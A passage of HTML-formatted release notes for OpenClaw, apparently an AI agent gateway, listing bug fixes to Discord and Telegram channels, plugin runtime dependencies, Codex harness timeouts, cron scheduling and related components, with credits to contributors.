<li>Gateway/Windows: read listener command lines via PowerShell before falling back to <code>wmic</code>, so restart health can recognize OpenClaw listeners on modern Windows installs and avoid long anonymous-port waits. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4349819170" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74280" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74280/hovercard" href="https://github.com/openclaw/openclaw/issues/74280">#74280</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zym951223/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zym951223">@zym951223</a>.</li>
<li>Plugins/runtime-deps: record process start-time in bundled dependency install locks and expire recycled-PID locks, so Docker gateway restarts recover from stale <code>.openclaw-runtime-deps.lock</code> directories without waiting through repeated five-minute timeouts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350782800" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74346" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74346/hovercard" href="https://github.com/openclaw/openclaw/issues/74346">#74346</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350992165" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74361" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74361/hovercard" href="https://github.com/openclaw/openclaw/pull/74361">#74361</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jhsmith409/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jhsmith409">@jhsmith409</a>.</li>
<li>Plugins/runtime-deps: memoize packaged bundled runtime dist-mirror preparation after the first successful pass while keeping source-checkout mirrors refreshable, so constrained Docker/VPS installs avoid repeated root scans before chat turns. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341750455" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73428" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73428/hovercard" href="https://github.com/openclaw/openclaw/issues/73428">#73428</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341661895" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73421" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73421/hovercard" href="https://github.com/openclaw/openclaw/issues/73421">#73421</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342776048" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73532" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73532/hovercard" href="https://github.com/openclaw/openclaw/issues/73532">#73532</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342227669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73477" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73477/hovercard" href="https://github.com/openclaw/openclaw/issues/73477">#73477</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Dimaoggg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Dimaoggg">@Dimaoggg</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oromeis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oromeis">@oromeis</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oadiazp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oadiazp">@oadiazp</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jmfraga/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jmfraga">@jmfraga</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bstanbury/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bstanbury">@bstanbury</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/antoniusfelix/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/antoniusfelix">@antoniusfelix</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jkobject/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jkobject">@jkobject</a>.</li>
<li>Channels/Discord: treat bare numeric outbound targets that match the effective Discord DM allowlist as user DMs while preserving account-specific legacy <code>dm.allowFrom</code> precedence over inherited root <code>allowFrom</code>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350101821" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74303" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74303/hovercard" href="https://github.com/openclaw/openclaw/pull/74303">#74303</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Squirbie/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Squirbie">@Squirbie</a>.</li>
<li>Channels/Discord/Slack: share one DM policy/allowlist resolver across runtime, setup, allowlist editing, and doctor repair, so legacy <code>dm.policy</code> / <code>dm.allowFrom</code> compatibility migrates to canonical <code>dmPolicy</code> / <code>allowFrom</code> without divergent access checks. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Squirbie/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Squirbie">@Squirbie</a>.</li>
<li>Control UI: make the chat sidebar split divider focusable, keyboard-resizable, ARIA-described, and pointer-event based so sidebar resizing works without a mouse. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</li>
<li>Agents/usage: keep PI embedded-run telemetry attributed to the resolved model provider instead of the PI harness label, so OpenRouter and other provider-backed turns report the right provider in session usage and traces. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Agents/attribution: send OpenClaw attribution headers on native OpenAI and Codex traffic, including SDK transports, realtime voice and TTS, device-code auth, WHAM usage, and remote embeddings, so PI-origin defaults no longer leak into provider requests. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Agents/auth: keep OAuth auth profiles inherited from the main agent read-through instead of copying refresh tokens into secondary agents, and refresh Codex app-server tokens against the owning store so multi-agent swarms avoid reused refresh-token failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347764512" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74055" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74055/hovercard" href="https://github.com/openclaw/openclaw/issues/74055">#74055</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ClarityInvest/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ClarityInvest">@ClarityInvest</a>.</li>
<li>Channels/Telegram: honor <code>ALL_PROXY</code> / <code>all_proxy</code> and service-level <code>OPENCLAW_PROXY_URL</code> when constructing the HTTP/1-only Telegram Bot API transport, so Windows and service installs that rely on those proxy settings no longer fall back to direct egress. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347549013" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74014" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74014/hovercard" href="https://github.com/openclaw/openclaw/issues/74014">#74014</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348024807" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74086" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74086/hovercard" href="https://github.com/openclaw/openclaw/issues/74086">#74086</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SymbolStar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SymbolStar">@SymbolStar</a>.</li>
<li>Channels/Telegram: keep raw host/network-unreachable Bot API connect failures non-fatal and route tagged polling uncaught exceptions through the Telegram restart path, so transient reachability failures no longer kill the Gateway or leave long polling stuck. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4202091022" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60515" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/60515/hovercard" href="https://github.com/openclaw/openclaw/issues/60515">#60515</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4352759456" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74540" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74540/hovercard" href="https://github.com/openclaw/openclaw/issues/74540">#74540</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HemantSudarshan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HemantSudarshan">@HemantSudarshan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/thacid22/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/thacid22">@thacid22</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ewimsatt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ewimsatt">@ewimsatt</a>.</li>
<li>Channels/Telegram: continue polling when <code>deleteWebhook</code> hits a transient network failure but <code>getWebhookInfo</code> confirms no webhook is configured, so startup does not retry cleanup forever after the webhook was already removed. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348024807" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74086" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74086/hovercard" href="https://github.com/openclaw/openclaw/issues/74086">#74086</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4078467786" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/47384" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/47384/hovercard" href="https://github.com/openclaw/openclaw/pull/47384">#47384</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/clovericbot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/clovericbot">@clovericbot</a>.</li>
<li>Channels/Telegram: retry native quote replies without <code>reply_parameters.quote</code> when Telegram returns <code>QUOTE_TEXT_INVALID</code>, so stale or truncated quote excerpts no longer drop the whole reply. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353246635" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74581" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74581/hovercard" href="https://github.com/openclaw/openclaw/issues/74581">#74581</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/moeedahmed/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/moeedahmed">@moeedahmed</a>.</li>
<li>Channels/Telegram: apply strict safe-send retry to inbound final replies when grammY wraps a pre-connect failure, while leaving ambiguous plain network envelopes single-shot to avoid duplicate visible messages. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348834237" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74203" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74203/hovercard" href="https://github.com/openclaw/openclaw/issues/74203">#74203</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nanli2000cn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nanli2000cn">@nanli2000cn</a>.</li>
<li>Channels/Telegram: surface polling liveness warnings in channel status and doctor when a running long-poller has not completed <code>getUpdates</code> after startup grace or its transport activity is stale, so silent polling failures no longer look clean. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350080484" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74299" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74299/hovercard" href="https://github.com/openclaw/openclaw/issues/74299">#74299</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lolaopenclaw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lolaopenclaw">@lolaopenclaw</a>.</li>
<li>Channels/Telegram: publish webhook runtime state and warn when <code>setWebhook</code> has not completed after startup grace, so webhook-mode accounts no longer look healthy while registration is still failing or retrying. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350080484" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74299" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74299/hovercard" href="https://github.com/openclaw/openclaw/issues/74299">#74299</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lolaopenclaw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lolaopenclaw">@lolaopenclaw</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martingarramon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martingarramon">@martingarramon</a>.</li>
<li>Channels/Telegram: bound native command menu <code>deleteMyCommands</code> and <code>setMyCommands</code> Bot API calls and allow the same timeout-triggered transport fallback retry as other startup control calls, so Windows/WSL network stalls cannot leave command sync hanging behind an otherwise running provider. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348024807" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74086" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74086/hovercard" href="https://github.com/openclaw/openclaw/issues/74086">#74086</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SymbolStar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SymbolStar">@SymbolStar</a>.</li>
<li>ACP/commands: accept forwarded ACP timeout config controls in the OpenClaw bridge, treat unsupported discard-close controls as recoverable cleanup, and restore native <code>/verbose full</code> plus no-arg status behavior, so Discord command menus and nested ACP turns no longer fail on supported session controls. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Codex harness: interrupt and release native app-server turns that go quiet after an OpenClaw dynamic-tool response without sending <code>turn/completed</code>, so Discord and other chat lanes do not stay stuck in <code>processing</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Codex harness: bound OpenClaw dynamic tool responses to 30 seconds and fail closed with an explicit tool result when the app-server bridge would otherwise strand the turn in <code>processing</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>TUI/status: clear stale <code>streaming</code> footer state when a final event arrives after the active run was already cleared and no tracked runs remain, while preserving concurrent-run ownership and inactive local <code>/btw</code> terminal handling. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4244725441" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64825" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64825/hovercard" href="https://github.com/openclaw/openclaw/issues/64825">#64825</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4244930419" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64842" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/64842/hovercard" href="https://github.com/openclaw/openclaw/pull/64842">#64842</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4244936758" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64843" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/64843/hovercard" href="https://github.com/openclaw/openclaw/pull/64843">#64843</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4244944537" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64847" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/64847/hovercard" href="https://github.com/openclaw/openclaw/pull/64847">#64847</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4244992206" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64862" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/64862/hovercard" href="https://github.com/openclaw/openclaw/pull/64862">#64862</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/briandevans/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/briandevans">@briandevans</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Yanhu007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Yanhu007">@Yanhu007</a>.</li>
<li>Channels/Discord: fail startup closed when Discord cannot resolve the bot's own identity and keep mention gating active when only configured mention patterns can detect mentions, so the provider no longer continues with a missing bot id. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4052146259" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42219" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/42219/hovercard" href="https://github.com/openclaw/openclaw/issues/42219">#42219</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4077562944" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/46856" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/46856/hovercard" href="https://github.com/openclaw/openclaw/pull/46856">#46856</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4090797830" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49218" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/49218/hovercard" href="https://github.com/openclaw/openclaw/pull/49218">#49218</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/education-01/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/education-01">@education-01</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BenediktSchackenberg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BenediktSchackenberg">@BenediktSchackenberg</a>.</li>
<li>Channels/Discord: split long CJK replies at punctuation and code-point-safe fallback boundaries so Discord chunking stays readable without corrupting astral characters. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4037445222" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/38597" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/38597/hovercard" href="https://github.com/openclaw/openclaw/issues/38597">#38597</a>; repairs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4326906134" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71384" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71384/hovercard" href="https://github.com/openclaw/openclaw/pull/71384">#71384</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/p3nchan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/p3nchan">@p3nchan</a>.</li>
<li>TUI: keep the streaming watchdog alive across active tool/lifecycle proof-of-life, pause it during disconnects, and reload history after stale reconnect runs so long-running chats stop flipping to false idle or hanging on stale streaming. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4291861236" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69081" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69081/hovercard" href="https://github.com/openclaw/openclaw/issues/69081">#69081</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/EenvoudJasper/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/EenvoudJasper">@EenvoudJasper</a>.</li>
<li>Browser/gateway: ignore Playwright dialog-close races from <code>Page.handleJavaScriptDialog</code> so browser automation no longer crashes the Gateway when a dialog disappears before Playwright accepts it. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4041670448" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/40067" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/40067/hovercard" href="https://github.com/openclaw/openclaw/pull/40067">#40067</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/randyjtw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/randyjtw">@randyjtw</a>.</li>
<li>Cron/Gateway: defer missed isolated agent-turn catch-up out of the channel startup window, so overdue cron work cannot starve Discord or Telegram while providers connect after a restart. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Heartbeat/cron: defer heartbeat turns while cron work is active or queued, add opt-in <code>heartbeat.skipWhenBusy</code> for subagent/nested lane pressure, and retry busy skips without advancing the schedule so local Ollama hosts do not run heartbeat and cron prompts concurrently. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4105361592" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/50773" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/50773/hovercard" href="https://github.com/openclaw/openclaw/issues/50773">#50773</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/scottgl9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/scottgl9">@scottgl9</a>.</li>
<li>Agents/thinking: honor configured model <code>compat.supportedReasoningEfforts</code> entries that include <code>xhigh</code>, so custom OpenAI-compatible provider refs expose and validate <code>/think xhigh</code> consistently across command menus, Gateway sessions, agent CLI, and <code>llm-task</code>. Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4087419491" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48904" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/48904/hovercard" href="https://github.com/openclaw/openclaw/pull/48904">#48904</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Milchstrassse/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Milchstrassse">@Milchstrassse</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wufunc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wufunc">@wufunc</a>.</li>
<li>Vercel AI Gateway: expose provider-owned <code>/think xhigh</code> for trusted OpenAI/Codex upstream refs and Claude adaptive thinking for Anthropic upstream refs, while leaving untrusted namespaced refs on base levels. Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4048650454" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/41561" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/41561/hovercard" href="https://github.com/openclaw/openclaw/pull/41561">#41561</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Zcg2021/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Zcg2021">@Zcg2021</a>.</li>
<li>Plugins/runtime-deps: prune stale <code>openclaw-unknown-*</code> bundled runtime dependency roots during Gateway startup while keeping recent or locked roots, so old staging debris cannot keep growing across restarts. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/runtime-deps: include ten more root-package runtime dependencies (<code>@agentclientprotocol/sdk</code>, <code>@lydell/node-pty</code>, <code>croner</code>, <code>dotenv</code>, <code>jiti</code>, <code>json5</code>, <code>jszip</code>, <code>markdown-it</code>, <code>tar</code>, <code>web-push</code>) in <code>MIRRORED_CORE_RUNTIME_DEP_NAMES</code> so they are mirrored into the runtime-deps tree alongside <code>semver</code> and <code>tslog</code>, preventing <code>Cannot find package 'X'</code> failures from core dist code (for example <code>qmd-manager</code>, <code>cron/schedule</code>, <code>infra/archive</code>, <code>infra/push-web</code>, <code>infra/backup-create</code>, <code>process/supervisor/adapters/pty</code>) when no enabled extension owns the dependency. Adds a static drift guard test that scans <code>src/</code> for value imports of root-package deps and fails CI when one is missing from the mirror allowlist or extension-owned set. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348806638" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74199" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74199/hovercard" href="https://github.com/openclaw/openclaw/issues/74199">#74199</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/maxpuppet/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/maxpuppet">@maxpuppet</a>.</li>
<li>Ollama: compose caller abort signals with guarded-fetch timeouts for native <code>/api/chat</code> streams, so <code>/stop</code> and early cancellation still interrupt local Ollama requests that also carry provider timeout budgets. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348337046" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74133" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74133/hovercard" href="https://github.com/openclaw/openclaw/pull/74133">#74133</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obviyus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obviyus">@obviyus</a>.</li>
<li>Doctor/TTS: migrate legacy <code>messages.tts.enabled</code>, agent TTS, channel TTS, and voice-call plugin TTS toggles to <code>auto</code> mode during <code>openclaw doctor --fix</code>, matching the documented TTS config contract. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>CLI/logs: fall back to the configured Gateway file log when implicit loopback Gateway connections close or time out before or during <code>logs.tail</code>, so <code>openclaw logs</code> still works while diagnosing local-model Gateway disconnects. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347954374" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74078" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74078/hovercard" href="https://github.com/openclaw/openclaw/issues/74078">#74078</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sakalaboator/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sakalaboator">@sakalaboator</a>.</li>
<li>MCP/plugins: stringify non-array plugin tool results with chat-content coercion instead of default object stringification, so MCP callers receive useful JSON/text content from plugin tools. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Active Memory/QMD: make gateway-start QMD refresh opt-in via <code>memory.qmd.update.startup</code>, keep normal memory access lazy, preserve interactive file watching, and align watcher dependency/build ignores with QMD's scanner so cold gateway startup no longer imports or initializes QMD by default. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/codexGW/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/codexGW">@codexGW</a>.</li>
<li>Channels/Discord: remove Discord-owned queued-run timeout replies through the shared channel lifecycle queue while preserving message ordering and compatibility timeout constants, so long Discord turns stay governed by session/tool/runtime lifecycle instead of channel fallback errors. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/codexGW/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/codexGW">@codexGW</a>.</li>
